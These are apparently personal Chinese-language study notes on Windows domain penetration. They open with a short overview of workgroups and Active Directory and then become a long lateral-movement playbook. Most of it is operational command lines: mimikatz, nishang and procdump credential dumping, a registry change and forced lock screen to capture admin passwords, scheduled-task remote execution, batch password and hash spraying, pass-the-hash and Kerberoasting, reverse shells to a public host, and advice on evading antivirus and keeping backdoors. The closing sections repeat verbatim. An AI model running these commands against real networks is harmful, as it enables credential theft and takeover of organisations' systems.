局域网
工作组
工作组(Work Group)是局域网中的一个概念。它是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。
在局域网内,如果你要访问某个工作组的资源,就在“网上邻居”里找到那个工作组名,双击就可以看到那个工作组的电脑了。
一共用户可以同时属于多个组,用户对某个资源的权限等于它在各组的权限之和,但是如果一旦有个组对某个资源的权限为禁止,那么该用户将不得访问该资源,因为禁止是优先的。在一个组中也可以包含其他组或者其他组的成员。
工作组内计算机的地位都是平等的。每一台计算机都独立的维护自己的资源,不需要集中管理网络资源。
域环境 活动目录AD 域控制器DC
https://blog.51cto.com/terryli/141686
域就是将多台计算机在逻辑上进行集中管理,创建在域控制器上的组。
域是组织和存储资源的核心管理单元,域的核心是域控制器,域控制器的核心是活动目录,活动目录实质上相当于一个数据库。
域内所有的计算机共享一个集中式的目录数据库(又称为活动目录数据库),它包含着整个域内的对象(用户账户、计算机账户、打印机、共享文件等)和安全信息等等,而活动目录负责目录数据库的添加,修改,更新和删除。所以我们要在Windows Server 2003上实现域环境,其实就是要安装活动目录。活动目录为我们实现了目录服务,提供对企业网络环境的集中式管理。比如前面那个例子,在域环境中,只需要在活动目录中创建一次Bob账户,那么就可以在任意200台电脑中的一台上登录Bob,如果要为Bob账户更改密码,只需要在活动目录中更改一次就可以了。
域控制器(Domain Controller)是活动目录的存储地方,也就是说活动目录存储在域控制器内。安装了活动目录的计算机就称为域控制器
当一台域控制器的活动目录数据库发生改动时,这些改动的数据将会复制到其他域控制器的活动目录数据库内。
站点(Site)一般与地理位置相对应。它由一个或几个物理子网组成。创建站点的目的是为了优化DC之间的复制。活动目录允许一个站点可以有多个域,一个域也是可以属于多个站点。
单域 父域、子域 域树、域森林
域用户,本地用户 https://blog.csdn.net/zhwei_wen/article/details/2157088
本地用户账户作为登陆账户,涉及到使用域内其他计算机资源时,不好进行身份验证,可能需要远程计算机做到账户信息的存储与验证流程,,一旦账户信息更改,对应的多部远程计算机的相应信息也要随之更改,加大开销;域用户账户就解决了这个问题,身份验证交由域控处理,因为域控可以对域内计算机资源、域用户账户信息进行管理。
相当于开辟一个用户区域,做到统一管理
域的搭建:https://blog.csdn.net/wwl012345/article/details/88934571
linux域渗透问题
局域网技术适用问题
内网安全大概流程问题
基本信息
版本 补丁 服务 任务 防护 进程 服务…
网络信息
开放端口 网络环境 出口代理 DNS
用户信息
域用户 本地用户 用户权限 对应组信息
凭据信息
明文 hash 各种主机协议与服务口令
信息收集完成,根据目标状态,制定探针策略,深入发掘信息
存活主机
域控制器
网络架构
服务接口
暂无
https://www.cnblogs.com/-chenxs/p/12318448.html
横向渗透,就是在已经攻占部分内网主机的前提下,利用既有的资源尝试获取更 多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限、发动 APT (高级持续性威胁攻击)的目的。
注意问题:
- 内网防火墙与杀毒软件:内网一样能有防火墙、流量监控,而杀毒软件更是很多服务器的标配(360也算)。在进行攻击时,不能全然忽略这些安全措施,否则很容易触发警报。
- 与管理员同行:对,与管理员同行既是机遇,也是风险。最常见的剧情是手抖把管理员的远程桌面连接踢了,或者渗透工具还在打开状态,远程桌面会话被管理员抢了。这狗血剧情我多次遇到,管理员后来改了密码,所幸留了后门重获权限,而且还掌握了新的密码(算是收获吧)。
- 蜜罐类:蜜罐不一定非要套出你的东西,只需要感知你的存在,便能够治你了。
常用姿势可以分为数据挖掘类、后门类、攻击类三大类,其危险性逐级递增。
数据挖掘类
注重的是主机上已保存的凭据等信息
- 其他主机的凭据
- 更高权限的凭据
- 能够利用的凭据
- 有用的资料、文档
后门类
主要是在已攻占的主机上安装一些自己的程序,从而达到保有-扩展的目的
方法的话很多,各种后门,不管是正向的,反向的,我一般用的是cs的后门,也可以用meterpreter生成的后门程序,还可以将后门程序绑定在一个应用程序上。键盘记录器。
攻击类
arp,系统漏扫,反渗透,撞库,社工
传递
at&schtasks
psexec&smbexec
wmic&wmiexec
PTH&PTT&PTK
winrs&winrm&rdp
漏洞
CVE-2014-6324
CVE-2017-17010
CVE-2020-1472
暂无
服务器计算机基本信息
systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务
网络接口信息
ipconfig /all 判断存在域-dns
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址;Cname链式手动解析
nslookup(https://blog.csdn.net/fageweiketang/article/details/82970625?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.pc_relevant_aa&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.pc_relevant_aa&utm_relevant_index=1)
域环境下的用户及用户组信息
系统默认常见用户身份概念:
Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
相关用户收集操作命令:
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器
各种密文,明文,口令等
mimikatz(win),mimipenguin(linux) 计算机用户HASH,明文获取,但是需要足够大的权限。
LaZagne(all),XenArmor(win) 计算机各种协议服务口令获取
1.站点源码备份文件、数据库备份文件等
2.各类数据库Web 管理入口,如PHPMyAdmin
3.浏览器保存密码、浏览器Cookies
4.其他用户会话、3389 和ipc$连接记录、回收站内容
5.Windows保存的WIFI 密码
Netsh WLAN show profiles
Netsh WLAN show profile name="无线名称" key=clear
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等
探针域控制器名及地址信息
net time /domain
nsllokup
ping
探针域内存活主机及地址信息
nbtscan 192.168.3.0/24 第三方工具
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL =" 自带内部命令
nmap、masscan 第三方工具
nishang、empire等 powershell脚本
探针域内主机角色及服务信息;利用开放端口服务及计算机名判断核心业务机器:
>高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
>产品管理系统服务器
>办公系统服务器
>财务应用系统服务器
>核心产品源码服务器(自建SVN、GIT)
>数据库服务器
>文件或网盘服务器、共享服务器
>电子邮件服务器
>网络监控系统服务器
>其他服务器(内部技术文档服务器、其他监控服务器等)
Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。Nishang是基于PowerShell的渗透测试专用工具,它集成了脚本和各种payload,比如抓取密码、端口扫描、提权等。
参考:https://www.freebuf.com/column/211093.html
环境准备
Powershell在首次导入模块的时候是不允许的,因为默认的策略是不允许的,这时候我们需要将执行策略改为允许的,就是所谓的remotesigned。 我们查询一下当前的执行策略是什么,Restricted是不被允许执行任何脚本的,即使你是管理员权限。 执行Get-ExecutionPolicy命令来查看默认的策略组 我们需要修改权限,执行命令: Set-ExecutionPolicy remotesigned,我们再次查询当前的执行策略的时候就是remotesigned可被允许的,再次导入脚本就会成功,出现的警告提示不用理会。
信息收集
执行查看导入的模块中的脚本信息:Get-Command -Module nishang 列出本机的信息: Get-Information 检查是否为虚拟机: Check-VM 查看主机信息: Get-Host
nishang里面也集成了抓取密码的脚本 先抓取一下hash值: #Get-PassHashes //简单直接的抓取,并显示在dos界面; #powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}" //获取hash值并保存在自定义的文档中。 抓取明文: #powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 尝试直接抓取当前系统用户的明文密码。(最常用的命令)
查杀绕过,包括连接查杀,后门查杀
在渗透测试中我们在做端口转发的时候遇到一系列的查杀全家桶,nc\lcx\sockes代理等时不时的被杀软截胡。那么这个时候我们可以利用nishang中的端口转发脚本进行。 1、TCP端口转发(反向连接) 公网服务器上面执行监听命令:nc -lvp 5555 目标主机执行端口转发命令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555 2、UDP端口转发(反向连接) 公网服务器上面执行监听命令:nc -lup 6666 目标主机执行端口转发命令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666 3、利用powershell与MSF进行端口转发 ##msfvenom -l payloads |grep ‘reverse_powershell //查询powershell模块的位置。 ##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //生成payload,类型是Powershell 在目标主机上面执行刚才生成的一条powershell命令,在公网服务器监听9999端口。 利用混淆处理绕过Windows Defender,因为我们在生成的普通的有效载荷会被Windows Defender进行查杀,导致执行失败。 混淆处理工具:Daniel Bohannon提供的Invoke-Obfuscation
Invoke-PortScan -StartAddress 192.168.3.0 -EndAddress 192.168.3.100 -ResolveHost -ScanPort //端口扫描(查看目录对应文件有演示语法,其他同理)
#其他功能:都在脚本文件里。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
ipc相关
https://blog.51cto.com/levelive/5851
1. 建立IPC链接到目标主机 2. 拷贝要执行的命令脚本到目标主机 3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本 4. 删除IPC链接 net use \\server\ipc$ "password" /user:"username" # 工作组 net use \\server\ipc$ "password" /user:"domain\username" #域内 dir \\xx.xx.xx.xx\C$\ # 查看文件列表 copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件 copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件 net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC net view xx.xx.xx.xx # 查看对方共享
#建立IPC 常见的错误代码 (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 (2)51:网络问题,Windows 无法找到网络路径 (3)53:找不到网络路径,可能是IP 地址错误、目标未开机、目标Lanmanserver 服务未启动、有防火墙等问题 (4)67:找不到网络名,本地Lanmanworkstation 服务未启动,目标删除ipc$ (5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除 (6)1326:账号密码错误 (7)1792:目标NetLogon 服务未启动,连接域控常常会出现此情况 (8)2242:用户密码过期,目标有账号策略,强制定期更改密码 #建立IPC 失败的原因 (1)目标系统不是NT 或以上的操作系统 (2)对方没有打开IPC$共享 (3)对方未开启139、445 端口,或者被防火墙屏蔽 (4)输出命令、账号密码有错误
ipc连接利用
[at] & [schtasks]
#at < Windows2012 net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad ministrator # 建立ipc 连接: copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器 at \\192.168.3.21 15:47 c:\add.bat #添加计划任务 #schtasks >=Windows2012 net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\ad ministrator # 建立ipc 连接: copy add.bat \\192.168.3.32\c$ #复制文件到其C 盘 schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser 任务对应执行文件 schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser 任务 schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser 任务
atexec-impacket工具
atexec.exe ./administrator:[email protected] "whoami" atexec.exe god/administrator:[email protected] "whoami" atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"
创建批处理脚本爆破更多主机
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版 FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #批量检测明文对应IP回显版 FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami # 批量检测HASH对应IP回显版
procdump+mimikatz获取win用户密码
实现从内存中获取明文密码
首先得先获取到内存文件lsass.exe进程, 它用于本地安全和登陆策略,一般在进程管理器中能看到;
1.导出lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp #procdump //不太强大,唯一的好处就是免杀的,微软官方的产品 #(注:必须使用管理员权限)包含账号密码信息的lsass.dmp 文件 出现问题: #win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,可以通过修改注册表的方式抓取明文。 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #改注册表 rundll32 user32.dll,LockWorkStation #强制锁屏 #等待目标系统管理员重新登录 #截取明文密码 reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f #关闭Wdigest Auth服务
2.执行mimikatz
mimikatz.exe ``"sekurlsa::minidump lsass.dmp"` `"sekurlsa::logonPasswords full"` `exit #(注:必须使用管理员权限) #LM:2008之前用的密码传递方式 NTLM:2008之后采用的密码传递方式,里面的值就是哈希值
3.或使用hashcat解密
https://www.freebuf.com/sectool/164507.html
SMB服务协议进行哈希移动
#利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。 #在psexec中由于其利用条件和监控严格后,逐渐开始使用WMI进行攻击。WMI可以描述为管理Windows系统的方法和功能。我们可以把它当作API来与Win系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装,WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。
Psexec
psexec是sysinternals的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下原理入门:ipc$连接(SMB连接);写入部分exe程序(创建psexesvc服务);调用svcctl协议,打开psexesvc服务;创建管道;
前提条件:
有明文或密文hash账户信息以建立相关连接两种连接方式:
先有ipc连接,然后执行psexec命令;
直接提供账户密码的明文或密文,可以不用建立ipc连接(?可能建立了其他smb连接?);两种使用方式(均可在目标任务管理器可看到成功执行):
以系统身份运行指定应用程序;创建/执行远程命令代码。示例:
----------##ð## 在对方电脑上运行程序----------------------------------------- psexec \\192.168.100.2 -u administrator -p 123456 -d -s calc #运行calc后 -d返回到本机命令行,对方计算机上会有一个calc进程,-s是以系统身份运行的。窗口对方是看不到的,如果需要对方看到这个窗口,需要加参数 -i(实验中还是没显示窗口)。 psexec \\192.168.100.2 -u administrator -p 123456 -d calc #承上,就以当前身份运行calc,-d返回 ----------##ð## 在对方电脑上运行cmd命令,同上--------------------------------- psexec \\192.168.3.21 -u administrator -p password -s cmd # -s 指定以System权限运行 #这个命令执行成功之后,命令提示符窗口在我这边,相当于远端应用程序虚拟化到本地。 psexec \\192.168.100.2 -u administrator -p 123456 -i -d cmd /c start http://www.baidu.com #为对方以当前用户身份打开百度网页,-i让他看到这个网页(实验中还是看不到) psexec.exe -hashes :$HASH$ ./[email protected] psexec -hashes :$HASH$ domain/[email protected] psexec -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] #提供密文的连接(?未实验)
出现问题1:Psexec 远程执行文件提示 “拒绝访问”
1、首先确认目标组策略是否配置正确 运行-secpol.msc-本地策略-安全选项-网络访问:本地账户的共享和安全模型 修改此项为经典 然后刷新组策略使之生效 运行-cmd-gpupdate 现在可以试下是否还出现拒绝访问的问题 如果还出现拒绝访问,进行第二步 2、打开目标admin$的网络访问权限 运行-cmd-net share admin$ 然后再运行一遍 net share admin$ 查看admin$的共享属性 权限显示为 READ,需要更改为FULL完全控制模式 详见:https://blog.51cto.com/babyfenei/1741291 3、目标用户权限不足,必需以administrator登陆,带有administrator权限的普通用户好像也不行
出现问题2:Psexec 远程执行文件提示 “账户被禁用”
有的windows禁用了administrator账户,会显示“账户被禁用”
impacket工具包
# smbexec:无需先ipc链接 明文或hash传递 非官方自带,容易被杀 smbexec god/administrator:[email protected] smbexec ./administrator:admin!@#[email protected] smbexec -hashes :$HASH$ ./[email protected] smbbexec -hashes :$HASH$ domain/[email protected] smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected]
WMI服务利用-wmic,cscript,wmiexec
WMI是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。
大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。 整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。 随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。 最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
windows自带WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt" //写入命令到192.168.3.21 wmic /node:ip /user:用户名 /password:密码 PROCESS call create "calc.exe" //打开一个计算器
windows自带cscript 明文传递 有回显 //需要下载个wmiexec.vbs
#https://blog.csdn.net/qq_27446553/article/details/46008473 #获取半交互式shell cscript.exe //nologo wmiexec.vbs /shell 192.168.0.1 username password #在远程系统上执行单条命令 cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password “cmdkey /list” #在远程系统上执行bat脚本 cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password c:\programdata\test.bat
套件impacket
#py版本 #exe版本 wmiexec ./administrator:[email protected] "whoami" wmiexec -hashes :$HASH$ ./[email protected] "whoami" wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"
批量测试内网主机用户密码
FOR /F %%i in (ips.txt) do wmiexec.exe -hashes :HASH ./administrator@%%i whoami #利用hash验证主机列表ips.txt atexec.exe换成wmiexec.exe FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./[email protected] whoami #指定主机进行用户hash列表(hashes.txt)爆破 FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%[email protected] whoami #指定主机进行明文密码列表(passwords.txt)爆破 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami # 利用明文密码验证主机列表ips.txt
认证原理参考:windows域环境下认证和攻击初识
PAC原理:Windows内网协议学习Kerberos篇之PAC
方法参考:内网渗透之PTH&PTT&PTK
其他:Windows Hash传递攻击的本质、缓解及绕过
PTH传递(不太推荐,需要得到管理员口令hash)
利用NTLM认证
获取hash,传递到目标,尝试连接
PTH传递(不太推荐) 弹出一个窗口 #适用范围: 域/工作组环境 内网中存在和当前机器相同的密码 #mimikatz.exe上执行: privilege::debug sekurlsa::pth /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7 #可以远程访问 #测试net use \\192.168.3.21\c$ dir \\OWA2010CN-God.god.org\c$
PTK
还是使用的mimikatz工具,不过需免杀
获取用户的aes key: mimikatz "privilege::debug" "sekurlsa::ekeys" 注入aes key: mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288" 成功注入aes256,尝试远程连接: 如果拒绝访问的话尝试安装kb2871997补丁
PTT
利用Kerberos协议认证
三种常见的攻击方法:MS16-068,Golden ticket,SILVER ticket
MS16-068
原理及利用:Windows内网协议学习Kerberos篇之PACMS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。 1. 在请求AS时,将require_PAC设置成False。 2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。 3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
Golden ticket(黄金票据)
Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。 那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件: krbtgt用户的hash(就意味着你已经有域控制器权限了) 域名称 域的SID值 要伪造的用户名
SILVER ticket(白银票据)
白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把机器的ntlmhash(某个服务hash) dump下来,然后在普通域用户机器进行伪造权限制作TGS服务票据
参考:04.内网安全-域横向CobaltStrike&SPN&RDP
SPN
参考:
kerberos中的spn详解
服务主体名称 适用于 Windows 的 Kerberos 技术补充 什么是 SPN,您为什么要关心?
SPN服务主体名称发现详解
Kerberoast攻击的另一种姿势
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。 SPN作用之一: 部分服务票证使用了目标服务实例的NTLM哈希进行加密。那么KDC如何确定在加密这些服务票证时使用什么密钥? 使用服务主体名称(SPN)来确定使用哪个服务帐户的哈希来加密服务票证 猜测:每种服务类可以创建多个服务实例,每个服务实例都会有一个用户账户;KDC有必要为每个用户账户分配SPN以进行区分,每个用户账户有各自某种HASH密钥,用于加密TGS票证ST。 SQL Server中的每个服务代表一个进程或一组进程,为了能让SQL Server服务在操作系统中正常的启动和运行,就需要指定SQL Server的服务帐户。所以服务帐户指的是Windows操作系统中的帐户。 SQL Server 2008中服务帐户类型分为不具有 Windows 管理员权限的“内置系统帐户”和“域用户帐户”,“内置系统帐户”又细分成三类“本地系统帐户”、“网络服务帐户”以及“本地服务帐户”。 //来自:http://blog.sina.com.cn/s/blog_6c60678b0101cn61.html
SPN格式: SPN = serviceclass “/” hostname [“:”port] [“/” servicename] 其中: serviceclass:标识服务类的字符串,例如Web服务的www hostname:一个字符串,是系统的名称。这应该是全限定域名(FQDN)。 port:一个数字,是该服务的端口号。 servicename:一个字符串,它是服务的专有名称(DN),objectGuid,Internet主机名或全限定域名(FQDN)。 注意: 服务类和主机是必需参数,但端口和服务名是可选的,主机和端口之间的冒号只有当端口存在时才需要
大概流程:
SPN扫描 请求服务票据 导出服务票据 破解服务票据 重写服务票据
可用服务:
MSSQL WSMAN Exchange TERMSERV Hyper-V Host
实验:
mimikatz只能列出登录用户的本地票据吗?有没有可能列出登陆过的所有用户的票据? 猜测:票据存于内存,切换用户后,内存票据信息也会抹除,所以无法获取其他用户票据。就这一点可以看出,用户的票据只有在登陆之后才能请求到。
#导出 mimikatz.exe "kerberos::list /export" #破解 python tgsrepcrack.py password.txt xxxx.kirbi python .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi #重写 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512 #将生成的票据注入内存 mimikatz.exe kerberos::ptt xxxx.kirbi 工具下载地址:https://github.com/nidem/kerberoast
参考:06.域横向内网漫游Socks代理隧道技术
解决问题:内网有外网 内网有过滤 内网无外网
代理方向:正向 反向
代理工具:nps frp ngrok reGeorg socjscap64 earthworm proxifier proxychains
实验过程:
搜索目标 利用WEB漏洞 获取webshell权限 生成后门 接收反弹 信息收集以及配置访问 利用本地代理接口访问测试
参考:07.域横向网络&传输&应用层隧道技术
解决问题:防火墙过滤问题 网络连接通信问题 数据回链封装问题
使用工具:lcx netcat dns3tcp pingtunnel
使用协议:ipv6,icmp,GRE TCP,UDP,端口转发 SSH,HTTP,HTTPS,DNS
代理和隧道技术区别? 代理是为了解决网络访问问题。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。 比如: CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。 什么是隧道呢? 这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。 隧道技术为了解决什么? 在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截 常用的隧道技术: 网络层:IPV6隧道、ICMP隧道 传输层:TCP隧道、UDP隧道、常规端口转发 应用层:SSH隧道、HTTP/S隧道、DNS隧道
参考:08.内网安全-域横向CS&MSF联动
代理接口访问测试
参考:07.域横向网络&传输&应用层隧道技术
解决问题:防火墙过滤问题 网络连接通信问题 数据回链封装问题
使用工具:lcx netcat dns3tcp pingtunnel
使用协议:ipv6,icmp,GRE TCP,UDP,端口转发 SSH,HTTP,HTTPS,DNS
代理和隧道技术区别? 代理是为了解决网络访问问题。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。 比如: CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。 什么是隧道呢? 这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。 隧道技术为了解决什么? 在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截 常用的隧道技术: 网络层:IPV6隧道、ICMP隧道 传输层:TCP隧道、UDP隧道、常规端口转发 应用层:SSH隧道、HTTP/S隧道、DNS隧道
参考:08.内网安全-域横向CS&MSF联动